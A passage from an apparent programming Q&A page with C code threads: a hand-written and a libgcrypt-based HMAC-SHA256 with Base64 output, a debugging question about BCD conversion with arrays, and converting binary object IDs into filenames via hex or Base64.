size_t blocksize;
blocksize = 64;
char * Key0 = (char *)calloc(blocksize, sizeof(char));
if (Key0 == NULL) {
return HMAC_SHA256_FAIL_STRING;
}
blocksize = 64;
char * Key0_ipad = (char *)calloc(blocksize, sizeof(char));
if (Key0_ipad == NULL) {
free(Key0);
return HMAC_SHA256_FAIL_STRING;
}
blocksize = 64 + strlen(msg);
char * Key0_ipad_concat_text = (char *)calloc( blocksize, sizeof(char));
if (Key0_ipad_concat_text == NULL) {
free(Key0);
free(Key0_ipad);
return HMAC_SHA256_FAIL_STRING;
}
blocksize = 64;
char * Key0_ipad_concat_text_digest = (char *)calloc( blocksize, sizeof(char));
if (Key0_ipad_concat_text_digest == NULL) {
free(Key0);
free(Key0_ipad);
free(Key0_ipad_concat_text);
return HMAC_SHA256_FAIL_STRING;
}
blocksize = 64;
char * Key0_opad = (char *)calloc(blocksize, sizeof(char));
if (Key0_opad == NULL) {
free(Key0);
free(Key0_ipad);
free(Key0_ipad_concat_text);
free(Key0_ipad_concat_text_digest);
return HMAC_SHA256_FAIL_STRING;
}
blocksize = 64 + 32;
char * Key0_opad_concat_prev = (char *)calloc(blocksize + 32, sizeof(char));
if (Key0_opad_concat_prev == NULL) {
free(Key0);
free(Key0_ipad);
free(Key0_ipad_concat_text);
free(Key0_ipad_concat_text_digest);
free(Key0_opad);
return HMAC_SHA256_FAIL_STRING;
}
blocksize = 64;
char * HMAC_SHA256 = (char *)malloc(blocksize/2 * sizeof(char));
if (HMAC_SHA256 == NULL) {
free(Key0);
free(Key0_ipad);
free(Key0_ipad_concat_text);
free(Key0_ipad_concat_text_digest);
free(Key0_opad);
free(Key0_opad_concat_prev);
return HMAC_SHA256_FAIL_STRING;
}
if (strlen(key) < blocksize) {
char * tmp = key;
char * tmp2 = Key0;
for (int i = 0; i < blocksize; i++) {
if (i < strlen(key)) *tmp2++ = *tmp++;
else *tmp2++ = 0x00;
}
}
else if (strlen(key) > blocksize) {
sha256((unsigned char *)key, strlen(key), (unsigned char *)Key0);
for (unsigned char i = strlen(key); i < blocksize; i++) {
Key0[i] = 0x00;
}
}
for (int i = 0; i < blocksize; i++) {
Key0_ipad[i] = Key0[i] ^ 0x36;
}
for (int i = 0; i < blocksize; i++) {
Key0_ipad_concat_text[i] = Key0_ipad[i];
}
for (int i = blocksize; i < blocksize + strlen(msg); i++) {
Key0_ipad_concat_text[i] = msg[i - blocksize];
}
sha256((unsigned char *)Key0_ipad_concat_text, blocksize + (unsigned int)strlen(msg), (unsigned char *)Key0_ipad_concat_text_digest);
for (int i = 0; i < blocksize; i++) {
Key0_opad[i] = Key0[i] ^ 0x5C;
}
for (int i = 0; i < blocksize; i++) {
Key0_opad_concat_prev[i] = Key0_opad[i];
}
for (int i = blocksize; i < blocksize + 32; i++) {
Key0_opad_concat_prev[i] = Key0_ipad_concat_text_digest[i - blocksize];
}
sha256((unsigned char *)Key0_opad_concat_prev, blocksize + 32, (unsigned char *)HMAC_SHA256);
free(Key0);
free(Key0_ipad);
free(Key0_ipad_concat_text);
free(Key0_ipad_concat_text_digest);
free(Key0_opad);
free(Key0_opad_concat_prev);
return HMAC_SHA256;
}
char * Base64_Stringify(char * hash, size_t length)
{
size_t no_op = 0;
size_t Base64_size;
char * Base64;
unsigned long tmp = length;
if (tmp % 3 == 0) {
Base64_size = 4 * tmp / 3;
Base64 = (char *)calloc(Base64_size + 1, sizeof(char));
}
else if (tmp % 3 == 1) {
tmp += 2;
Base64_size = 4 * tmp / 3;
Base64 = (char *)calloc(Base64_size + 1, sizeof(char));
Base64[Base64_size - 1] = '=';
Base64[Base64_size - 2] = '=';
no_op = 2;
}
else if (tmp % 3 == 2) {
tmp += 1;
Base64_size = 4 * tmp / 3;
Base64 = (char *)calloc(Base64_size + 1, sizeof(char));
Base64[Base64_size - 1] = '=';
no_op = 1;
}
unsigned int b64_case = 0;
size_t j = 0;
for (int i = 0; i < Base64_size - no_op; i++) {
switch (b64_case) {
case 0:
{
Base64[i] = Base64_Table[(hash[j] & 0xFC) >> 2];
j++;
b64_case = 1;
}
break;
case 1:
{
Base64[i] = Base64_Table[((hash[j-1] & 0x03) << 4) | ((hash[j] & 0xF0) >> 4)];
b64_case = 2;
}
break;
case 2:
{
Base64[i] = Base64_Table[((hash[j] & 0x0F) << 2) | ((hash[j+1] & 0xC0) >> 6)];
j++;
b64_case = 3;
}
break;
case 3:
{
Base64[i] = Base64_Table[(hash[j] & 0x3F)];
j++;
b64_case = 0;
}
break;
default:
break;
}
}
return Base64;
}
int main()
{
char * HMAC_SHA256_result;
char * Base64_Stringify_result;
HMAC_SHA256_result = HMAC_SHA256("test", "secret");
Base64_Stringify_result = Base64_Stringify(HMAC_SHA256_result, 32);
unsigned char arr[32] = { 0 };
memcpy(arr, HMAC_SHA256_result, 32);
for(int i = 0; i < 32; i++) {
printf("%#02x, ", arr[i]);
}
printf("\n\n");
for(int i = 0; i < strlen(Base64_Stringify_result); i++) {
printf("%c", Base64_Stringify_result[i]);
}
printf("\n\n");
return 0;
}
I'm leaving the old main.c for reference. You can also modify the updated main.c functions, e.g. the error codes when calloc fails...
I've created a simple example of how you can create the hmac with the libgcrypt library. You just need to install it in your system and them compile the program with the -lgcrypt flag to link the library.
As you've asked a standalone function, I created a function which you can call with the key and message that returns a string with the base64 encoded result, which is exactly what you asked for in your JSFiddle.
#include <stdio.h>
#include <string.h>
#include <gcrypt.h>
#include <stdint.h>
static char encoding_table[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'};
static char *decoding_table = NULL;
static int mod_table[] = {0, 2, 1};
char *base64_encode(const unsigned char *data,
size_t input_length,
size_t *output_length) {
*output_length = 4 * ((input_length + 2) / 3);
char *encoded_data = calloc(1,*output_length+1);
if (encoded_data == NULL) return NULL;
for (int i = 0, j = 0; i < input_length;) {
uint32_t octet_a = i < input_length ? (unsigned char)data[i++] : 0;
uint32_t octet_b = i < input_length ? (unsigned char)data[i++] : 0;
uint32_t octet_c = i < input_length ? (unsigned char)data[i++] : 0;
uint32_t triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c;
encoded_data[j++] = encoding_table[(triple >> 3 * 6) & 0x3F];
encoded_data[j++] = encoding_table[(triple >> 2 * 6) & 0x3F];
encoded_data[j++] = encoding_table[(triple >> 1 * 6) & 0x3F];
encoded_data[j++] = encoding_table[(triple >> 0 * 6) & 0x3F];
}
for (int i = 0; i < mod_table[input_length % 3]; i++)
encoded_data[*output_length - 1 - i] = '=';
return encoded_data;
}
//don't forget to free the return pointer!
char* hmacSHA256(gcry_mac_hd_t hd, const char* key, size_t key_size, const char* msg, size_t msg_size) {
unsigned char output[32];
size_t outputSize = 32;
gcry_mac_reset(hd);
gcry_mac_setkey(hd,key,strlen(key));
gcry_mac_write(hd,msg,strlen(msg));
gcry_mac_read(hd,output,&outputSize);
return base64_encode(output,outputSize,&outputSize);
}
int main() {
const char* const key = "secret";
const char* const msg = "test";
//hmacsha256 returns 256 bits, meaning 32 bytes
unsigned char output[32];
size_t outputSize = 32;
gcry_mac_hd_t hd;
gcry_mac_open(&hd,GCRY_MAC_HMAC_SHA256,0,NULL);
char* tmp = hmacSHA256(hd,key,strlen(key),msg,strlen(msg));
printf("HMAC-SHA256: '%s'\n",tmp);
free(tmp);
tmp = hmacSHA256(hd,"secrett",7,msg,strlen(msg));
printf("HMAC-SHA256: '%s'\n",tmp);
free(tmp);
gcry_mac_close(hd);
return 0;
}
Important remarks:
-Don't forget to free the return value of the hmacSHA256 function and to call gcry_mac_close when you are done hashing.
-I've included the size of the key and size of the message in the function's arguments because this way you can do the HMAC of binary data as well as ASCII/UTF-8 encoded strings. If you're not going to use binary data, feel free to remove the sizes from the arguments and calculating the size inside of the function with strlen like I did in the main when I called the function.
-I didn't wrap the creation of the gcry_mac_hd_t in the function because it's more efficient to reuse the same handler and just reset it every time you need to reuse it then to create a new one every time you need it. This optimization is even more noticeable if you call this function many times in the same execution!

Using arrays for BCD conversion in C

I'm working on a project where I need to convert some long variables into BCD.
I already have some code that works but I feel that it can be improved...
void main(void){
unsigned long input = 0;
unsigned long convert = 0;
float convert2 = 0;
char buffer[200];
unsigned char Ones, Tens, Hundreds, Thousands, TenThousands, HundredThousands;
printf("Input: ");
scanf("%d", &input);
convert = input*12;
convert2 = input * 0.0001224896;
BCD(convert, &Ones, &Tens, &Hundreds, &Thousands, &TenThousands, &HundredThousands);
sprintf(buffer, "%d%d%dKG", HundredThousands, TenThousands, Thousands);
printf("\n\nInputted: %d", input);
printf("\nADC Conversion: %d", convert);
printf("\nBCD Conversion: %s", buffer);
printf("\nFloat Conversion: %f", convert2);
getchar();
getchar();
}
void BCD (unsigned long Pass, unsigned char *Ones, unsigned char *Tens, unsigned char *Hundreds, unsigned char *Thousands, unsigned char *TenThousands, unsigned char *HundredThousands){
unsigned char temp1, temp2, temp3, temp4, temp5, temp6;
unsigned int count = 0;
*Ones = 0;
*Tens = 0;
*Hundreds = 0;
*Thousands = 0;
*TenThousands = 0;
*HundredThousands = 0;
temp1 = 0;
temp2 = 0;
temp3 = 0;
temp4 = 0;
temp5 = 0;
temp6 = 0;
for(count = 0; count <= 31; count++){
if (*Ones >= 5){
*Ones = (*Ones + 3)&0x0F;
}
if (*Tens >= 5){
*Tens = (*Tens + 3)&0x0F;
}
if (*Hundreds >= 5){
*Hundreds = (*Hundreds + 3)&0x0F;
}
if (*Thousands >= 5){
*Thousands = (*Thousands + 3)&0x0F;
}
if (*TenThousands >= 5){
*TenThousands = (*TenThousands + 3)&0x0F;
}
if (*HundredThousands >= 5){
*HundredThousands = (*HundredThousands + 3)&0x0F;
}
temp1 = (Pass & 2147483648) >> 31;
temp2 = (*Ones & 8) >> 3;
temp3 = (*Tens & 8) >> 3;
temp4 = (*Hundreds & 8) >> 3;
temp5 = (*Thousands & 8) >> 3;
temp6 = (*TenThousands & 8) >> 3;
Pass = Pass << 1;
*Ones = ((*Ones << 1) + temp1) & 15;
*Tens = ((*Tens << 1) + temp2) & 15;
*Hundreds = ((*Hundreds << 1) + temp3) & 15;
*Thousands = ((*Thousands << 1) + temp4) & 15;
*TenThousands = ((*TenThousands << 1) + temp5) & 15;
*HundredThousands = ((*HundredThousands << 1) + temp6) & 15;
printf("\n\nLoop: %d\nOnes: %d\n", count, *Ones);
printf("Tens: %d\n", *Tens);
printf("Hundreds: %d\n", *Hundreds);
printf("Thousands: %d\n", *Thousands);
printf("TenThousands: %d\n", *TenThousands);
printf("HundredThousands: %d\n",*HundredThousands);
}
}
The problem I have with this is that it seems messy and inefficient. I was think that instead of using multiple variable for each BCD unit (Ones, Tens, etc), I could use an arrays to carry out the same process. I have implemented this in code but I'm running into a few problems. The code only seems to display "Ones" equivalent element. I've stepped through the code as well and found that the other elements are not being populated during the conversion process. Any guidance on what is going on?
Array implementation:
void main(void){
unsigned long input = 0;
unsigned long convert = 0;
char buffer[200];
unsigned char BCD_Units[6];
unsigned char temp[6];
unsigned int count = 0;
unsigned int count1 = 0;
unsigned char buff_store = 0;
unsigned char buff_store2 = 0;
printf("Input: ");
scanf("%d", &input);
convert = input;
memset(temp, 0, sizeof(temp));
memset(BCD_Units, 0, sizeof(BCD_Units));
for(count = 0; count <= 31; count++){
for (count1 = 0; count1 < 6; count1++){
if (BCD_Units[count1] >= 5){
buff_store = BCD_Units[count1];
buff_store = ((buff_store + 3) & 15);
BCD_Units[count1] = buff_store;
}
}
temp[0] = (convert & 2147483648) >> 31;
for (count1 = 0; count1 < 5; count1++){
buff_store = BCD_Units[count1];
temp[(count+1)] = (buff_store & 8) >> 3;
}
convert = convert << 1;
for(count1 = 0; count1 < 6; count1++){
buff_store = BCD_Units[count1];
buff_store2 = temp[count1];
buff_store = ((buff_store << 1) + buff_store2) & 15;
BCD_Units[count1] = buff_store;
temp[count1] = buff_store2;
}
printf("\n\nLoop: %d\nOnes: %d\n", count, BCD_Units[0]);
printf("Tens: %d\n", BCD_Units[1]);
printf("Hundreds: %d\n", BCD_Units[2]);
printf("Thousands: %d\n", BCD_Units[3]);
printf("TenThousands: %d\n", BCD_Units[4]);
printf("HundredThousands: %d\n", BCD_Units[5]);
}
sprintf(buffer, "%d%d%dKG", BCD_Units[5], BCD_Units[4], BCD_Units[3]);
printf("\n\nInputted: %d", input);
printf("\nBCD Conversion: %s", buffer);
getchar();
getchar();
}
PS. I'm just playing around, at the moment, with ideas. I plan to compartmentalise the code into functions at a later date.
this code seems enormously complicated. YOu just need to do the following
make a buffer
loop till n = 0
get n % 10 (get digit)
or digit into left or right nibble of curretn buffer byte (need a toggle for left or right)
increment buffer pointer if filled left nibble
n = n / 10
try this Convert integer from (pure) binary to BCD

Unique file name using UUID

I need to create some binary data files from Object Identifiers, which is a variable-length binary void* buffer, upto 64 bytes and can contain any bytes corresponding to non-printable characters as well. I can't use Object Identifier as my file name as it contains non-printable letters.
Any suggestions to create the unique filename. How can the UUID be derived or used in this case ?
You can convert the bytes into a hexadecimal string.
#define tohex(x) ("0123456789abcdef"[(x) & 0x0f])
char buf[129];
assert(objid_len <= 64);
for (int i = 0; i < objid_len; ++i) {
buf[2*i] = tohex(objid[i] >> 4);
buf[2*i+1] = tohex(objid[i]);
}
buf[2*objid_len] = '\0';
You can make the filenames have universal length by using a padding character that is outside the alphabet used to to represent the object id. If a shorter filename is desired, then a higher base could be used. For example, Base64.
const char * const base64str =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
#define tob64(x) base64str[(x) & 0x3f]
void objid_to_filename (const unsigned char *objid, int objid_len,
char *buf) {
memset(buf, '-', 88);
buf[88] = '\0';
int i = 0, j = 0;
int buflen = 4 * ((objid_len + 2)/3);
while (i < objid_len) {
unsigned x = 0;
x |= (i < objid_len) ? objid[i++] << 16 : 0;
x |= (i < objid_len) ? objid[i++] << 8 : 0;
x |= (i < objid_len) ? objid[i++] << 0 : 0;
buf[j++] = tob64(x >> 18);
buf[j++] = tob64(x >> 12);
buf[j++] = tob64(x >> 6);
buf[j++] = tob64(x >> 0);
}
int pad = (3 - (objid_len % 3)) % 3;
for (i = 0; i < pad; ++i) buf[buflen - 1 - i] = '=';
}

Resources